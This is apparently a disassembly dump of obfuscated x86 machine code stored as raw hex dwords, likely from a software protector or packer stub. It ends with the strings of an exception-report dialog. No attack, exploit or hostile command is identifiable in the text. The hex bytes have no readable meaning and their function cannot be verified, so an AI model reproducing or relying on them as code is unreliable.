		dd 4244481h, 1Ch, 3DC35343h, 80EF2AC7h,	5B5961AAh, 1A098D2Bh
		dd 9D0906ACh, 6AC34C9h,	0E9DA8589h, 6A06AEh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 9D0021C3h
		dd 10B9D15Eh, 0E991858Dh, 820F06AEh, 6,	124D8D8Bh, 235006ACh
		dd 0AC212D8Dh, 0CEB5FF06h, 6A06AEE9h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 9196C357h
		dd 81668418h, 0FF90CCE1h, 0AC0C1195h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0BE93343h, 93000000h, 235FCBF9h, 83D1E884h, 8589CE7Bh
		dd 6AEE9DEh, 0EE9h, 62675800h, 95C7FEE9h, 6C80A1F8h, 8DA5BA5Dh
		dd 0AEE9AC85h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 81644448h, 8A31C2EAh
		dd 958B5020h, 6AC0655h,	0E9CEB5FFh, 6A06AEh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0C57229C3h
		dd 0A9AA588h, 1195FFFCh, 0F06AC0Ch, 8589FAB7h, 6AC1FC1h
		dd 0D2D78166h, 60858D53h, 0F06AEE9h, 0E850FBB7h, 0Eh, 87B9AE32h
		dd 398CF701h, 7E30CA14h, 5E9E17Ah, 5000000h, 5644344h
		dd 0CEB5FF5Ah, 8906AEE9h, 0AC335D95h, 1195FF06h, 8906AC0Ch
		dd 0AC2FD19Dh, 0D2858906h, 8B06AEE9h, 0AC13518Dh, 6F858D06h
		dd 0F806AEE9h, 681BD29h, 605006ACh, 0AAEB8166h,	0E9B58B8Eh
		dd 6106AC00h, 0E9CEB5FFh, 816606AEh, 0FF5966D1h, 0AC0C1195h
		dd 0FDBD8B06h, 8906AC04h, 0AEE9D685h, 0C890F06h, 0F000000h
		dd 68Ch, 860F00h, 68000000h, 104h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 2BC35747h, 439CA329h, 2953607Ch
		dd 0AC11B18Dh, 0D9BF5F06h, 6148890Bh, 66858DFCh, 0E906AEEAh
		dd 11h,	0F6500DEBh, 8384CC9Bh, 8C1043Ch, 0ABE523CEh, 0BE9508Fh
		dd 14000000h, 364F82D9h, 75317092h, 858DCD16h, 6AEEB6Ah
		dd 9118589h, 11E906ACh,	0DA000000h, 85D9F132h, 4AEADA84h
		dd 4E443A78h, 454D8FF0h, 50006A50h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8FB5FFBFh, 0CA595FFh
		dd 0B58906ACh, 6AC1AF1h, 850FC085h, 0Ch, 68A0Fh, 0C1810000h
		dd 3D1814B2h, 0F53FBD80h, 0F0006AEh, 3085h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 7C9E6974h, 0E3756C78h, 0F6E9F5A1h, 29000013h, 0AC2E8595h
		dd 0F9BD8306h, 6AC1Fh, 19850Fh,	8B660000h, 0E9BD83F8h
		dd 6AEF9h, 2B840Fh, 810F0000h, 3, 8DFEB70Fh, 0AEEA0385h
		dd 55958B06h, 0E906AC35h, 13B9h, 1BB19503h, 18E906ACh
		dd 81000000h, 8EA204D7h, 0EE858D77h, 306AEE9h, 0AC0BDD8Dh
		dd 19B52906h, 5006AC06h, 0CE9h,	0A43C2300h, 8224C287h
		dd 0B0B931ECh, 66858DB9h, 8B06AEEAh, 0AC19DDBDh, 0CE95006h
		dd 0C0000000h, 5F0C470Dh, 378BC87Ah, 834EC530h,	0AC1FF9BDh
		dd 840F0006h, 34h, 0B0CA8166h, 8C858DDFh, 6A06AEEBh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 667DC350h, 18E926h, 0B5890000h, 6AC32ADh, 0EB75858Dh
		dd 8E0F06AEh, 6, 2689BD8Bh, 8B5006ACh, 0AC0B9D8Dh, 0C4858D06h
		dd 6606AEEBh
		dd 8950C88Bh, 0AC24158Dh, 0F995FF06h, 6A06AC14h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 2D84C355h, 83F9A08Fh, 6A10C4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 31A563C3h, 0AC01799Dh
		dd 5BF6606h, 0FC08BBDh,	68Fh, 0F1958B00h, 8306AC32h, 0AC1E85BDh
		dd 9750006h, 0A29BD83h,	740006ACh, 8B535019h, 7D3B8C0h
		dd 85890000h, 6AC0889h,	0A2649D8Dh, 0D3FF06AEh,	0BD83585Bh
		dd 6AC0A29h, 50177400h,	7D3B853h, 85890000h, 6AC0889h
		dd 9F539D8Dh, 0D3FF06AEh, 6A585Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 89CA8EC3h, 0AC2AE595h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0AC05D86Eh, 6AC08B5Bh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 26A3C356h
		dd 88745195h, 1105BD33h, 0CE806ACh, 0F5000000h,	944B4F6Dh
		dd 290A6DBEh, 0B964BFACh, 1CFB5DCAh, 0EEBD815Ah, 6F06AEE9h
		dd 0F616572h, 0B184h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 66858DEFh, 5006AEEAh
		dd 0EBA3858Dh, 8D5006AEh, 0AEEBC485h, 95FF5006h, 6AC14F9h
		dd 0C60CC483h, 0AC333985h, 4F684406h, 0FF96A318h, 0AC1281B5h
		dd 0FF858D06h, 0FF06AC3Ah, 8DD88BD0h, 0AEEBC485h, 0D3FF5006h
		dd 0E9EE858Dh, 8D5006AEh, 0AEEA6685h, 0BD835006h, 6AC1FF9h
		dd 8D087400h, 0AEEB8C85h, 8D06EB06h, 0AEEB7585h, 858D5006h
		dd 6AEEBC4h, 0F995FF50h, 8306AC14h, 0BE810C4h, 8E000000h
		dd 0C802F639h, 4B7C7F23h, 8D2906A3h, 6AC011Dh, 0BF0F5759h
		dd 95FF5AF8h, 6AC0DC1h,	0FF25h,	55B58900h, 8306AC06h, 830F05F8h
		dd 78h,	35159503h, 85C706ACh, 6AC0129h,	1, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 23C35545h, 0BE9h
		dd 0BDBA0500h, 14102CCDh, 0FA269E53h, 0EA22858Dh, 6A06AEh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 89E967C3h, 6D8D89AEh, 8B06AC20h, 0AC0B15BDh,	47E906h
		dd 0B5290000h, 6AC1E55h, 1FF9BD83h, 0F0006ACh, 2884h, 12C78100h
		dd 8D7F453Ah, 0AEEA4D85h, 0D953306h, 0E906AC20h, 1Dh, 0C783BA66h
		dd 7E8h, 0A6AEE900h, 49058F38h,	2F858D5Fh, 8B06AEEAh, 0AC0C698Dh
		dd 62858906h, 0E806AEEAh, 0Fh, 10B373EBh, 0BA59B95h, 23473ACDh
		dd 96AD9ACh, 0AC33D98Dh, 0BD835906h, 6AC1FF9h, 1E850F00h
		dd 66000000h, 832B24B9h, 0AEF9E9BDh, 840F0006h,	2Bh, 8E9h
		dd 101B2000h, 0AFD17C6Dh, 0FEBE928h, 0DE80000h,	0DE000000h
		dd 0BE5C394h, 85B1218Dh, 0FBBDF06Ch, 0D9D8D89h,	0E95F06ACh
		dd 481h, 2D919589h, 0C08B06ACh,	93D0C781h, 0BD8322B1h
		dd 6AC1E85h, 83097500h,	0AC0A29BDh, 19740006h, 0C08B5350h
		dd 7D4B8h, 89858900h, 8D06AC08h, 0AEA2649Dh, 5BD3FF06h
		dd 29BD8358h, 6AC0Ah, 53501774h, 7D4B8h, 89858900h, 8D06AC08h
		dd 0AE9F539Dh, 5BD3FF06h, 38B0F58h, 80000000h, 8F0FE2E9h
		dd 0
		dd 3481958Bh, 0C08B06ACh, 1FD1958Bh, 958B06ACh,	6AC0C21h
		dd 0F003F68h, 6AF900h, 6A61B1h,	0E2D8D0Bh, 858906ACh, 6AC2555h
		dd 110195FFh, 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0C085C9C3h, 2850Fh, 0CBB10000h
		dd 0E9E68589h, 8E906AEh, 0EC000000h, 441BA4E0h,	6ABFF389h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0B7A34AB7h, 8906C209h, 0AC06618Dh, 8B006A06h
		dd 0AC240D95h, 89006A06h, 0AC1F7995h, 6A006A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 42F3C351h, 0CA7D280Ah, 0E8006A8Fh, 0Fh, 4BB03B65h, 0EC02F2D7h
		dd 85FEAB1h, 0B903D88Ch, 71D5029Bh, 31BD8B5Ah, 8D06AC0Eh
		dd 0AEEBC485h, 19BD8B06h, 5006AC33h, 2E619589h,	0C98006ACh
		dd 6A016ABAh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 68B9C356h, 2F3CDCFDh, 36FC1B7Ch
		dd 7D58D33h, 5E806ACh, 2E000000h, 0CF0B508h, 6F59589h
		dd 6A5F06ACh, 95896001h, 6AC290Dh, 6A616BB4h, 0E9852901h
		dd 6806AC29h, 0F01FFh, 249D8D8Bh, 0BD8306ACh, 6AC1FF9h
		dd 5C840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0E158C357h,	66538EC9h
		dd 8D59FA8Bh, 0AEEA4385h, 4D950306h, 8B06AC24h,	0AC0C858Dh
		dd 58E906h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 160424h, 51410000h, 47EBAEC3h, 8DD18B66h, 0AEEA1985h
		dd 0EE906h, 0B450000h, 578E3C2Dh, 443E9A71h, 58FDCC82h
		dd 0E9952960h, 0E906AC27h, 11h,	35BC0909h, 499BB94Ah, 30ED25A7h
		dd 883E769Bh, 565061F4h, 0A71BD29h, 505A06ACh, 5E8h, 448FF100h
		dd 0BD03B48Dh, 6AC1549h, 0E6B5FF5Ah, 8106AEE9h,	8BCAFBF7h
		dd 0D295FF40h, 0F806AEE9h, 850FC085h, 32h, 0E9FEBF0Fh
		dd 0A5h, 10E8h,	760AE00h, 7301EB40h, 0E897C061h, 0CF76CA2Ah
		dd 9E908h, 6920000h, 738EEEAh, 594882A8h, 3191BD8Bh, 858906ACh
		dd 6AEE9EAh, 0EAB5FFF8h, 6A06AEE9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 10D1C350h
		dd 2D99B589h, 8B6606ACh, 0C195FFCFh, 0F806AC1Fh, 11E9h
		dd 40B67C00h, 5D0B9580h, 9458508Fh, 67DBB795h, 0C085454Fh
		dd 23850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0E2AF2BC3h, 8B276170h, 53106ACEh
		dd 45858956h, 5A06AC22h, 0FABF0F5Ah, 1FF9BD83h,	0F0006ACh
		dd 1584h, 43858D00h, 5706AEEAh,	148D9D29h, 0E95A06ACh
		dd 0Eh,	858DDBB5h, 6AEEA19h, 3271BD8Bh,	0E85006ACh, 13h
		dd 2742BE83h, 7302A3A7h, 656B5238h, 9444F8F2h, 80A62361h
		dd 0FF5A89E1h, 0AEE9E6B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0B1DE9F61h
		dd 9E9D7h, 54A10000h, 47C710D5h, 0FFB28126h, 0AEE9DE95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 82B305F9h, 8D89EB8Ah, 6AC34A9h, 850FC085h
		dd 12h,	0C8D0Fh, 810F0000h, 6, 2561BD29h, 858906ACh, 6AEE9EAh
		dd 24B19D89h, 6A06ACh, 2F52B966h, 9509006Ah, 6AC11E9h
		dd 0E9EAB5FFh, 8D0B06AEh, 6AC1755h, 0E9D695FFh,	0BD2906AEh
		dd 6AC1AC9h, 850FC085h,	5, 0F4E18166h, 0EAB5FFB5h, 6606AEE9h
		dd 0FF0A82BFh, 0AC1FC195h, 2DB58906h, 8506AC20h, 6850FC0h
		dd 31000000h, 0AC24E585h, 0BA006A06h, 362242Ah,	8068h
		dd 36AF900h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0E2C35646h, 0D7DFDFBh, 5748EFA2h, 8166006Ah, 6ACA38C9h
		dd 68FE8B00h, 0C0000000h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0C3C35141h, 0C172EDFFh, 8D3125EEh, 6AC25CDh
		dd 0EA62B5FFh, 88B906AEh, 0FF02815Fh, 0AC135595h, 13E806h
		dd 14D90000h, 8543E2Ah,	0E7FE09EBh, 2C3A90A9h, 0C39D0F57h
		dd 0D281663Ch, 835A69D6h, 850FFFF8h, 48Dh, 2DF5BD8Bh, 85FF06ACh
		dd 6AEF4D0h, 0B0D958Bh,	0BD8306ACh, 6AEF4D0h, 60840F02h
		dd 33000003h, 0AC126995h, 3B858D06h, 0F005B24h,	1888h
		dd 13E900h, 0C76A0000h,	938169C1h, 5ABECB92h, 348099DDh
		dd 4577D7F6h, 0FD0FF09h, 858DC9BFh, 5B1E8Eh, 0B219D89h
		dd 14E906ACh, 0B6000000h, 68A796A1h, 0D582AF4Bh, 4560BCBEh
		dd 90A78ECCh, 0FF386E48h, 7E8D0h, 66300000h, 0F96735B3h
		dd 7E877h, 7EAC0000h, 0B26E82DEh, 518D896Bh, 5906AC21h
		dd 8BC08B5Fh, 85BD83D7h, 6AC1Eh, 0BD830975h, 6AC0A29h
		dd 50197400h, 0B8C08B53h, 7D8h,	8898589h, 9D8D06ACh, 6AEA264h
		dd 585BD3FFh, 0A29BD83h, 740006ACh, 0B8535017h,	7D8h, 8898589h
		dd 9D8D06ACh, 6AE9F53h,	585BD3FFh, 2001950Bh, 0C88B06ACh
		dd 0AE9C08Bh, 84000000h, 0C916E98Ah, 0B06BDF25h, 3F681Bh
		dd 9D89000Fh, 6AC1C31h,	8F0F006Ah, 8, 2830Fh, 61600000h
		dd 95FF006Ah, 6AC1101h,	0BB666053h, 61FCD301h, 8BC08559h
		dd 0AC311D8Dh, 8E806h, 114D0000h, 6424CC3Bh, 8B667714h
		dd 858959CFh, 6AEE9E6h,	0F01FF68h, 0D5F58000h, 1FF9BD83h
		dd 0F0006ACh, 1F84h, 7DBD8900h,	6606AC26h, 7232F281h, 0EA43858Dh
		dd 0C88B06AEh, 13E9h, 0E9816600h, 0F2B1D619h, 0EA19858Dh
		dd 8D2306AEh, 6AC3349h,	0B5FFF950h, 6AEE9E6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0F3C35040h, 0F72AFF0Ah
		dd 10E9h, 6AC1D600h, 0D9CE5E30h, 3FDF1934h, 0E30D2423h
		dd 0DE95FFB9h, 8B06AEE9h, 0AC0BFDBDh, 1CB96606h, 0EA8589BBh
		dd 0F806AEE9h, 283D85C7h, 6ACh,	958B0000h, 6AC0A31h, 0E9EABD83h
		dd 0F0006AEh, 17B84h, 0FD8D2900h, 8D06AC28h, 0AEECC885h
		dd 0F50F806h, 6AFCD2B7h, 57006A01h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 1D38BB6h, 0AC0E9985h
		dd 0EAB5FF06h, 8906AEE9h, 0AC0E0585h, 0ADBD8B06h, 0FF06AC1Ah
		dd 0AEE9E295h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 15629BBCh, 0BB000F24h
		dd 0B5FF2832h, 6AEE9EAh, 2358509h, 95FF06ACh, 6AC1FC1h
		dd 23DD958Bh, 0FF6806ACh, 8B000F01h, 0F9BD83D1h, 6AC1Fh
		dd 3E840Fh, 0B5890000h,	6AC01A1h, 0EA43858Dh, 6A06AEh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 598C97C3h, 0B74BF281h, 12E93EEBh, 0F000000h,	38Dh, 6BD68000h
		dd 0EA19858Dh, 0B70F06AEh, 0E98150FEh, 0D72154Ah, 0E9E6B5FFh
		dd 860F06AEh, 6, 1CBDBD8Bh, 95FF06ACh, 6AEE9DEh, 0E960E580h
		dd 8, 0E999D493h, 9A2BB05Bh, 0E9EA8589h, 0BD8B06AEh, 6AC20E9h
		dd 0E9EAB5FFh, 6A06AEh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 6612EDC3h, 0A7781D0Dh
		dd 0C4CA806Ah, 0E9DA95FFh, 958906AEh, 6AC1C75h,	0E9EAB5FFh
		dd 958B06AEh, 6AC2E9Dh,	1FC195FFh, 8E806ACh, 0FC000000h
		dd 0ABEDAE7Eh, 59CED2D7h, 0FFF769E9h, 3D8D89FFh, 0FF06AC20h
		dd 0AEF533B5h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 4934891Fh, 0AF1A112Ah
		dd 95FFD79Bh, 6AC0BF9h,	6890Fh,	0EF810000h, 0C9A065Fh
		dd 19C5858Bh, 0B58906ACh, 6AC1FC5h, 4EFE9h, 0E8B58D00h
		dd 0F06AEECh, 858DCAB7h, 6AE9BA8h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0FBC35747h,	60E65F68h, 2981B501h
		dd 0F28B06ACh, 0F2BF6661h, 8BD0FFA8h, 0AC13BD8Dh, 6840F06h
		dd 31000000h, 0AC1BC18Dh, 89006A06h, 0AC013185h, 0D195FF06h
		dd 6006AC21h, 61F3CA80h, 8D8BF38Bh, 6AC1C81h, 9BA8858Dh
		dd 6A06AEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 59B4D8C3h, 19C1D730h, 0FF7C2AE2h,	0DE9D0h
		dd 46DB0000h, 2200E068h, 0C90A0D55h, 8B413E61h,	81006AFBh
		dd 5A0831F7h, 0D195FF6Ah, 8B06AC21h, 0AC2EB5BDh, 0F8C08B06h
		dd 1E85BD83h, 750006ACh, 29BD8309h, 6AC0Ah, 53501974h
		dd 0D9B8C08Bh, 89000007h, 0AC088985h, 649D8D06h, 0FF06AEA2h
		dd 83585BD3h, 0AC0A29BDh, 17740006h, 0D9B85350h, 89000007h
		dd 0AC088985h, 539D8D06h, 0FF06AE9Fh, 66585BD3h, 0E6B2E781h
		dd 1D1B531h, 0C08B06ACh, 95BD8B50h, 8B06AC07h, 5383B5D8h
		dd 1AF99D8Dh, 38B06ACh,	438B0389h, 50438950h, 0F4CC9D8Dh
		dd 38B06AEh, 8B5B0389h,	66006AC8h, 858DF88Bh, 6AEF4CCh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E0C35545h
		dd 0A9B2738Eh, 0CE8B6650h, 9501606Ah, 6AC06D9h,	1AF9858Dh
		dd 8D8B06ACh, 6AC1E89h,	0D2BF0F50h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 8CC815C3h
		dd 8589B918h, 6AC12FDh,	6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 68C0A8C3h, 1800h, 6880Fh
		dd 0BD8B0000h, 6AC25DDh, 0ECB96653h, 1195FF33h,	6606AC1Ah
		dd 9280F181h, 0FFA6EA80h, 0AC14D995h, 25950B06h, 0FF06AC12h
		dd 0AEF533B5h, 0E9958B06h, 0FF06AC12h, 0AC0BF995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 666FB759h, 56B2BB80h, 8D89758Bh, 6AC0FE1h, 1AF9858Dh
		dd 6A06ACh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0C24894C3h, 0F9935E0Fh, 84DFC981h, 408B6B3Eh
		dd 5D8D8B18h, 0C706AC26h, 0AC2EE585h, 6, 12E900h, 153E0000h
		dd 764FC208h, 444F80BAh, 0B50B4DCDh, 1612BD91h,	8858D89h
		dd 0BD8306ACh, 6AC1FF9h, 3D840F00h, 81000000h, 0AD67EADFh
		dd 8C3D21h, 830F0000h, 196h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 2DC35747h, 4CE9EE55h, 0F000000h
		dd 38Dh, 0F88B6600h, 983Dh, 5F830F00h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 86F8C350h, 0F3FDCC6h, 1087h,	0BE900h, 9B6C0000h, 76204832h
		dd 59ABDF65h, 8DD38B3Dh, 5B243B85h, 89D0FF00h, 0AC0089B5h
		dd 8E858D06h, 0F005B1Eh, 0D0FFF9B7h, 0C08BC88Bh, 83D78B66h
		dd 0AC1E85BDh, 9750006h, 0A29BD83h, 740006ACh, 8B535019h
		dd 0BC6B8C0h, 85890000h, 6AC0889h, 0A2649D8Dh, 0D3FF06AEh
		dd 0BD83585Bh, 6AC0A29h, 50177400h, 0BC6B853h, 85890000h
		dd 6AC0889h, 9F539D8Dh,	0D3FF06AEh, 0FE8B585Bh,	32159589h
		dd 816606ACh, 8BCDE7CFh, 0AC20B195h, 8AC08B06h,	6870FEEh
		dd 8B000000h, 0AC13CDBDh, 0FFF88306h, 4A850Fh, 0DE80000h
		dd 0E8000000h, 9E680445h, 39DF43ADh, 14EE8E75h,	3521BD8Bh
		dd 0C75F06ACh, 0AC21F985h, 6, 69850100h, 0E906AC21h, 0EAh
		dd 0CE9h, 70A5FE00h, 355E596Ah,	63C5AF24h, 32E943h, 85010000h
		dd 6AC1131h, 0F01F883h,	2385h, 0C58D8B00h, 0E906AC10h
		dd 0D0h, 13E9h,	91287E00h, 3D4961BAh, 0FC1024C8h, 0E9BF0755h
		dd 0B6BBF471h, 0FFF2D9E9h, 1DBD0BFFh, 0E906AC11h, 0Ah
		dd 782518E8h, 4B041E1Fh, 0C08B372Bh, 0C306B966h, 1E85BD83h
		dd 750006ACh, 29BD8309h, 6AC0Ah, 53501974h, 0DDB8C08Bh
		dd 89000007h, 0AC088985h, 649D8D06h, 0FF06AEA2h, 83585BD3h
		dd 0AC0A29BDh, 17740006h, 0DDB85350h, 89000007h, 0AC088985h
		dd 539D8D06h, 0FF06AE9Fh, 6A585BD3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0CCF8C352h
		dd 0A1D19653h, 5211C11Fh, 5FCAB70Fh, 0AE9C08Bh,	0FC000002h
		dd 0E418509h, 858D06ACh, 6AEF2D0h, 0C88589F5h, 0F506AEF4h
		dd 38E9h, 0FEBF0F00h, 0F0D8858Dh, 0D18106AEh, 282A21BEh
		dd 10E9h, 0C40E0900h, 2E818A0Ch, 0F10A859Fh, 3CF64B81h
		dd 9D894009h, 6AC2775h,	0F4C88589h, 0B86006AEh,	2521965Bh
		dd 8D346A61h, 0AC2F2585h, 0B5FF5006h, 6AEF4C8h,	95FF006Ah
		dd 6AC0F19h, 0F07F883h,	16884h,	0DB8C6600h, 0F04C3F6h
		dd 10285h, 3985C600h, 5606AC33h, 0A8B85268h, 81B5FF9Ch
		dd 8D06AC12h, 0AC3AFF85h, 6AD0FF06h, 10006804h,	646A0000h
		dd 0D0FF006Ah, 0F53B8589h, 85C606AEh, 6AC3339h,	0AC9B6847h
		dd 0B5FFEC18h, 6AC1281h, 3AFF858Dh, 0D0FF06ACh,	0F08BD0FFh
		dd 333985C6h, 684F06ACh, 0C62F2661h, 307DB5FFh,	858D06ACh
		dd 6AC3AFFh, 9D8DD0FFh,	6AEF537h, 56286A53h, 0C085D0FFh
		dd 85C60075h, 6AC3339h,	64986841h, 0B5FFDB87h, 6AC307Dh
		dd 3AFF858Dh, 0D0FF06ACh, 0F5548589h, 85C606AEh, 6AC3339h
		dd 0E7A4684Ch, 0B5FF80A4h, 6AC307Dh, 3AFF858Dh,	0D0FF06ACh
		dd 0F53B9D8Bh, 5B8D06AEh, 9D8D5304h, 6AEF540h, 0FF006A53h
		dd 3B9D8BD0h, 0C706AEF5h, 103h,	0C43C700h, 2, 6599D8Bh
		dd 85C706ACh, 6AC2FD9h,	0
aJjj:
		unicode	0, <jjj>
		dw 9D8Bh
		dd 6AEF53Bh, 0FF006A53h, 0AEF537B5h, 5495FF06h,	0C606AEF5h
		dd 0AC333985h, 97684506h, 0FF92A5F7h, 0AC3479B5h, 0FF858D06h
		dd 0FF06AC3Ah, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h
		dd 0AEF53B9Dh, 0C43C706h, 0
		dd 6A006Ah, 0F53B9D8Bh,	6A5306AEh, 37B5FF00h, 0FF06AEF5h
		dd 0AEF55495h, 37B5FF06h, 0FF06AEF5h, 0AC14D995h, 0FF006A06h
		dd 0AC21D195h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0EF76AACFh, 8BFA8BDCh
		dd 0AC116DBDh, 45858D06h, 0F06AF28h, 8E0FFBBFh,	6, 1999958Bh
		dd 665006ACh, 0ED1FEF81h, 0CAB70F57h, 35FF645Ah, 0
		dd 6800F60h, 8B000000h,	0AC13B185h, 7C6EBB06h, 316163C0h
		dd 0AC277D95h, 25896406h, 0
		dd 8E8h, 68974000h, 0C7B7215Bh,	0F88B5304h, 0BD83595Fh
		dd 6AC0539h, 89840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 5C85C350h
		dd 9C89377Ah, 0AB919B61h, 840FF38Ah, 6,	0EA5958Bh, 0BD8306ACh
		dd 6AC0161h, 49850F01h,	66000000h, 0B26CE981h, 0F954BD80h
		dd 0F0006AEh, 3785h, 66FAB600h,	6A48F781h, 161E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0CF7BE250h, 0D7522CC7h, 0BF0F4DF3h, 0F8BF0FD3h, 50F5DB33h
		dd 7E9h, 0CEF08700h, 39130CDBh,	66C0335Fh, 8BA1D281h, 73F0F40h
		dd 58F640Bh, 0
		dd 8B04C483h, 958B50D1h, 6AC3521h, 56006A59h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0D6C09A3Bh
		dd 0EE9h, 0BC72F600h, 4682C654h, 0E51EFE1h, 8329AD1Ch
		dd 840FFFFBh, 0Eh, 13418D8Bh, 0B5E906ACh, 66000000h, 4AE9CF8Bh
		dd 0B1000000h, 244C8B53h, 0A481C70Ch, 0FF000000h, 83FFFFFFh
		dd 0B881h, 0C0330400h, 245C8BC3h, 0E8550Ch, 5D000000h
		dd 2867ED81h, 838B06AFh, 0B8h, 28FA858Dh, 838906AFh, 0B8h
		dd 0C3C0335Dh, 21FD8D09h, 0EA8006ACh, 5D858D74h, 8906AF28h
		dd 0AC088DB5h, 0BA665006h, 6653D812h, 645FD18Bh, 35FFh
		dd 8D2B0000h, 6AC202Dh,	258964h, 0E9000000h, 0Ch, 0B5FD8353h
		dd 0F494A953h, 3B2ADB5Ch, 0AB9h, 0D704B800h, 64054855h
		dd 0BB0DF781h, 8685D465h, 34B640BAh, 0E8EA8100h, 0ED00345Fh
		dd 5868FB81h, 0A75564Dh, 2185C7h, 106ACh, 8F640000h, 5
		dd 4C48300h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	49C35141h, 0B07A129h, 0FA1FF67h, 286h, 0FCF8B00h
		dd 183h, 0BD8BFC00h, 6AC20E5h, 0BD83C08Bh, 6AC1E85h, 83097500h
		dd 0AC0A29BDh, 19740006h, 0C08B5350h, 43DB8h, 1858900h
		dd 8D06AC0Ch, 0AEA2CB9Dh, 5BD3FF06h, 29BD8358h,	6AC0Ah
		dd 53501774h, 43DB8h, 1858900h,	8D06AC0Ch, 0AE9F6C9Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0CF0F3969h, 4F152F0Bh, 9D891983h
		dd 6AC21A9h, 8BD2BF0Fh,	147E9C0h, 40000h, 2E310000h, 303139h
		dd 7 dup(0)
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
		db 83h,	0BDh, 0ADh
		dd 6AC2Ah, 12D840Fh, 858D0000h,	6AE9D83h, 0ED858D50h, 5006AE9Ch
		dd 168h, 9395FF80h, 8D06AE9Dh, 0AF29BE85h, 858D5006h, 6AF29C8h
